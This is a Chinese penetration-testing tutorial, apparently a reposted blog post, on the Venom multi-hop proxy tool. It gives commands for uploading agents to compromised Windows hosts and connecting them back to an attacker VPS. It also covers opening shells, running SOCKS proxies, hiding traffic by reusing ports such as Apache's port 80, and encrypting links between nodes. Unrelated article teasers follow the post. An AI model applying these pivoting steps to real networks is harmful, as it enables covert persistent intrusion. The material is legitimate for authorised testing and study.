【滲透工具】內網多級代理工具Venom詳細使用教程

免責申明

本公眾號的技術文章僅供參考,此文所提供的信息只為網絡安全人員對自己所負責的網站、服務器等(包括但不限于)進行檢測或維護參考,未經授權請勿利用文章中的技術資料對任何計算機系統進行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負責。本文所提供的工具僅用于學習,禁止用于其他!!!

簡介

Venom是一款為滲透測試人員設計的使用Go開發的多級代理工具。

Venom可將多個節點進行連接,然后以節點為跳板,構建多級代理。

滲透測試人員可以使用Venom輕松地將網絡流量代理到多層內網,并輕松地管理代理節點。

使用

使用案例

最終效果需要在kali上運行服務端,在win7上建立第一個節點,在win10上建立第二個節點,如有多級代理一次類推

venmo文件目錄

VPS以本地kali為例,執行命令,獲取相關命令幫助

./admin_linux_x64 

在這里插入圖片描述

Venom version: 1.1Usage:$ ./venom_admin -lport [port]$ ./venom_admin -rhost [ip] -rport [port]Options:-lport portListen a local port.  //設置監聽端口-passwd passwordThe password used in encrypted communication. (optional)  //設置密碼-rhost ipRemote ip address.  //連接端口-rport portThe port on remote host.  //連接地址

創建一級節點

在kali 服務器上執行:

./admin_linux_x64 -lport 12138 -passwd xiaoc

在這里插入圖片描述

實際環境中通過獲取win7的權限,將venom的agent 工具上傳到win7
執行如下命令:

admin.exe -rhost VPS_ip -rport 12138 -passwd xiaoc

admin節點和agent節點均可監聽連接也可發起連接

admin監聽端口,agent發起連接:./admin_linux_x64 -lport 9999  -passwd xiaoc
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999 -passwd xiaocagent監聽端口,admin發起連接:./agent_linux_x64 -lport 8888  -passwd xiaoc
./admin_linux_x64 -rhost 192.168.204.139 -rport 8888  -passwd xiaoc

執行完命令后,第一個節點上線,可以使用show獲取當前拓撲
在這里插入圖片描述
獲取節點后支持的命令如下:

  help                                     Help information.exit                                     Exit.show                                     Display network topology.getdes                                   View description of the target node.setdes     [info]                        Add a description to the target node.goto       [id]                          Select id as the target node.listen     [lport]                       Listen on a port on the target node.connect    [rhost] [rport]               Connect to a new node through the target node.sshconnect [user@ip:port] [dport]        Connect to a new node through ssh tunnel.shell                                    Start an interactive shell on the target node.upload     [local_file]  [remote_file]   Upload files to the target node.download   [remote_file]  [local_file]   Download files from the target node.socks      [lport]                       Start a socks5 server.lforward   [lhost] [sport] [dport]       Forward a local sport to a remote dport.rforward   [rhost] [sport] [dport]       Forward a remote sport to a local dport.

在這里插入圖片描述

例如使用shell命令
使用goto 1進入第一個節點,使用shell執行ipconfig命令
在這里插入圖片描述
在實際攻防中會經常用到socks代理,例如
在這里插入圖片描述
設置socke代理成功后可通過在瀏覽器配置代理或者配置proxychains4工具訪問其他端口服務

創建第二個節點

創建好第一個節點后,通過滲透獲取第二節點的win10服務器權限

在kali端進入第一個節點

監聽8787端口

listen 8787

在這里插入圖片描述

將agent工具上傳到win10服務器,執行命令

agent.exe -rhost 10.168.2.20 -rport 8787 -passwd xiaoc

在這里插入圖片描述
第二個節點上線成功
在這里插入圖片描述
在這里插入圖片描述

agent節點支持端口復用

agent提供了兩種端口復用方法

  1. 通過SO_REUSEPORT和SO_REUSEADDR選項進行端口復用
  2. 通過iptables進行端口復用(僅支持Linux平臺)

通過venom提供的端口復用功能,在windows上可以復用apache、mysql等服務的端口,暫時無法復用RDP、IIS等服務端口,在linux上可以復用多數服務端口。被復用的端口仍可正常對外提供其原有服務。

第一種端口復用方法

# 以windows下apache為例
# 復用apache 80端口,不影響apache提供正常的http服務
# -lhost 的值為本機ip,不能寫0.0.0.0,否則無法進行端口復用
./agent.exe -lhost 192.168.204.139 -reuse-port 80
./admin_macos_x64 -rhost 192.168.204.139 -rport 80

第二種端口復用方法

# 以linux下apache為例
# 需要root權限
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80

這種端口復用方法會在本機設置iptables規則,將reuse-port的流量轉發到lport,再由agent分發流量

需要注意一點,如果通過sigterm,sigint信號結束程序(kill或ctrl-c),程序可以自動清理iptables規則。如果agent被kill -9殺掉則無法自動清理iptables規則,需要手動清理,因為agent程序無法處理sigkill信號。

為了避免iptables規則不能自動被清理導致滲透測試者無法訪問80端口服務,所以第二種端口復用方法采用了iptables -m recent通過特殊的tcp包控制iptables轉發規則是否開啟。

這里的實現參考了 https://threathunter.org/topic/594545184ea5b2f5516e2033

# 啟動agent在linux主機上設置的iptables規則
# 如果rhost在內網,可以使用socks5代理腳本流量,socks5代理的使用見下文
python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80# 連接agent節點
./admin_macos_x64 -rhost 192.168.204.135 -rport 80# 如果要關閉轉發規則
python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80

節點間通信加密

Venom提供節點間通信加密功能,用戶可通過-passwd選項指定密碼,該密碼用于生成AES加密所需的密鑰。

# 通過-passwd指定密碼為dlive@dubhe
./admin_macos_x64 -lport 8889 -passwd dlive@dubhe# agent指定相同的密碼與admin節點連接
./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe

下載鏈接

關注公眾號回復“20240628”獲取下載鏈接

關注公眾號

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/37038.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/37038.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/37038.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【LeetCode】九、雙指針算法:環形鏈表檢測 + 救生艇

文章目錄 1、雙指針算法1.1 對撞雙指針1.2 快慢雙指針 2、leetcode141:環形鏈表3、leetcode881:救生艇 1、雙指針算法 用兩個指針來共同解決一個問題: 1.1 對撞雙指針 比如先有一個有序的數組array int[] array {1, 4, 5, 7, 9}先要找兩個…

什么是產線工控安全,如何保障產線設備的安全

什么是產線工控安全? 工控,指的是工業自動化控制,主要利用電子電氣、機械、軟件組合實現。即是工業控制系統,或者是工廠自動化控制。產線工控安全指的是工業控制系統的數據、網絡和系統安全。隨著工業信息化的迅猛發展&#xff0…

如何利用“AI交互數字人+展廳”拓展文娛消費空間?

打造新生代潮玩聚集地,打造演藝新空間,促進虛擬現實體驗等文娛業態場景創新,成為了當下發展文旅消費新場景的一大重要手段。數字人匯集了虛擬現實、增強現實、全息投影、人工智能、實時傳輸語音合成等數字技術,可以利用數字人重構…

SpringBoot項目中獲取IP地址

提示:文章寫完后,目錄可以自動生成,如何生成可參考右邊的幫助文檔 文章目錄 前言 OkHttp 是一個由 Square 開發的高效、現代的 HTTP 客戶端庫,用于 Android 和 Java 應用程序。它支持 HTTP/2 和 SPDY 等現代網絡協議,…

Jmeter 進行http接口測試

🍅 視頻學習:文末有免費的配套視頻可觀看 🍅 點擊文末小卡片,免費獲取軟件測試全套資料,資料在手,漲薪更快 本文主要針對http接口進行測試,使用 jmeter工具實現。 Jmeter工具設計之初是用于做性…

如何用Vue3和Plotly.js繪制動態3D圖表?

本文由ScriptEcho平臺提供技術支持 項目地址:傳送門 Plotly.js: 使用Vue.js動態加載數據并繪制圖表 應用場景 在數據可視化應用中,需要將數據動態加載到圖表中并進行實時更新。本文將展示如何使用Plotly.js和Vue.js實現這一功能,從加載外…

MobPush iOS端海外推送最佳實現

推送注冊 在AppDelegate里進行SDK初始化&#xff08;也可以在Info.plist文件中進行AppKey&#xff0c;AppSecret的配置&#xff09;并對通知功能進行注冊以及設置推送的環境和切換海外服務器等&#xff0c;參考如下步驟代碼&#xff1a; <span style"background-colo…

【深度學習】圖形模型基礎(1):使用潛在變量模型進行數據分析的box循環

1.緒論 探索數據背后的隱藏規律&#xff0c;這不僅是數據分析的藝術&#xff0c;更是概率模型展現其威力的舞臺。在這一過程中&#xff0c;潛在變量模型尤為關鍵&#xff0c;它成為了數據驅動問題解決的核心引擎。潛在變量模型的基本理念在于&#xff0c;那些看似復雜、雜亂無…

又是一篇關于GD32堆棧的梳理+FreeRTOS的空間

GD32F103CB&#xff1a;SRAM 20K&#xff08;0x5000&#xff09; 這篇文章主要想講清楚幾個事情&#xff1a; 1、啟動文件Stack_Size、Heap_Size的大小設置有啥影響&#xff1b; 2、FreeRTOS的內存&#xff1a;FreeRTOSConfig.h文件configTOTAL_HEAP_SIZE&#xff1b; 問題2…

訊飛星火V4.0 發布,全面對標GPT-4 Turbo

6月27日&#xff0c;訊飛星火V4.0如期而至&#xff0c;升級成為更懂你的AI助手。 七大核心能力持續突破&#xff0c;全面對標GPT-4 Turbo。在8個國際主流測試集中排名第一&#xff0c;訊飛星火以一份惹眼的成績單&#xff0c;成為國內大模型的先行者。 發布會現場&#xff0c…

一個簡單易用,跨平臺的通用版本管理器,VMR

項目主頁&#xff1a;https://vdocs.vmr.us.kg/zh-cn/ 歡迎PR&#xff0c;Issue&#xff0c;Star。 類別&#xff1a;Go 項目標題&#xff1a;一個簡單易用&#xff0c;跨平臺卻非常強大的通用版本管理器&#xff0c;VMR 項目描述&#xff1a; 目前各種SDK版本管理器存在以下…

用數組模擬棧實現遞歸函數模擬

做算法課設時候看到題目要求模擬函數遞歸時候棧的入棧出棧過程。本來想著直接調用系統遞歸函數即可&#xff0c;可是發現系統函數棧的空間非常小大約只有3000層&#xff0c;很容易爆棧。于是便有了用棧去模擬遞歸函數的想法&#xff0c;但是上網查了下貌似相關代碼比較少&#…

小馬搬運物品-第13屆藍橋杯省賽Python真題精選

[導讀]&#xff1a;超平老師的Scratch藍橋杯真題解讀系列在推出之后&#xff0c;受到了廣大老師和家長的好評&#xff0c;非常感謝各位的認可和厚愛。作為回饋&#xff0c;超平老師計劃推出《Python藍橋杯真題解析100講》&#xff0c;這是解讀系列的第89講。 小馬搬運物品&…

如何與Honda建立EDI連接?

你是本田Honda的新供應商&#xff0c;需要具備EDI電子數據交換功能嗎&#xff1f;在與本田Honda交換EDI消息時需要幫助嗎&#xff1f;本文將帶你快速了解Honda的EDI需求&#xff0c;明確EDI對接需要完成的工作。 項目背景 本田是一家世界領先的汽車制造商&#xff0c;在全球2…

倉庫選址問題【數學規劃的應用(含代碼)】阿里達院MindOpt

本文主要講述使用MindOpt工具優化倉庫選址的數學規劃問題。 視頻講解&#x1f448;&#x1f448;&#x1f448;&#x1f448;&#x1f448;&#x1f448;&#x1f448;&#x1f448;&#x1f448; 一、案例場景 倉庫選址問題在現代物流和供應鏈管理中具有重要的應用。因為倉庫…

《數據結構與算法基礎 by王卓老師》學習筆記——2.2線性表的案例引入

案例一&#xff1a;一元多項式的運算 案例二&#xff1a;稀疏多項式的運算 案例三&#xff1a;圖書信息管理系統 總結

【Leetcode】520. 檢測大寫字母

文章目錄 題目思路代碼復雜度分析時間復雜度空間復雜度 結果總結 題目 題目鏈接&#x1f517;我們定義&#xff0c;在以下情況時&#xff0c;單詞的大寫用法是正確的&#xff1a; 全部字母都是大寫&#xff0c;比如 “USA” 。單詞中所有字母都不是大寫&#xff0c;比如 “le…

Mybatis入門——語法詳解:基礎使用、增刪改查、起別名、解決問題、注釋、動態查詢,從入門到進階

文章目錄 1.基礎使用1.添加依賴2.在resouces文件下新建xml文件db.properties3.在resouces文件下新建xml文件mybatis-config-xml4.創建一個MybatisUtils工具類5.創建xml文件XxxMapper.xml映射dao層接口6.添加日志5.測試 2.增刪改查1.select2.delete3.update4.insert5.模糊查詢6.…

同心創建 共踐食安 | 趙夢澈榮獲食品安全大使

“民族要復興&#xff0c;鄉村必振興”&#xff0c;為深入貫徹落實國家鄉村振興戰略&#xff0c;推進鄉村全面振興不斷取得新成效&#xff0c;助力全國優質食品農產品的宣傳推廣、市場營銷、品牌創建工作&#xff0c;由中國食品安全報社主辦&#xff0c;商業發展中心、健康中國…

python數據分析與可視化一

公共部分 # 引入數據分析工具 Pandas import pandas as pd # 引入數據可視化工具 Matplotlib import matplotlib.pyplot as plt # 引入數據可視化工具 Seaborn (基于matplotlib) import seaborn as sns # 解決輸出時的列名對齊問題 pd.set_option(display.unicode.east_…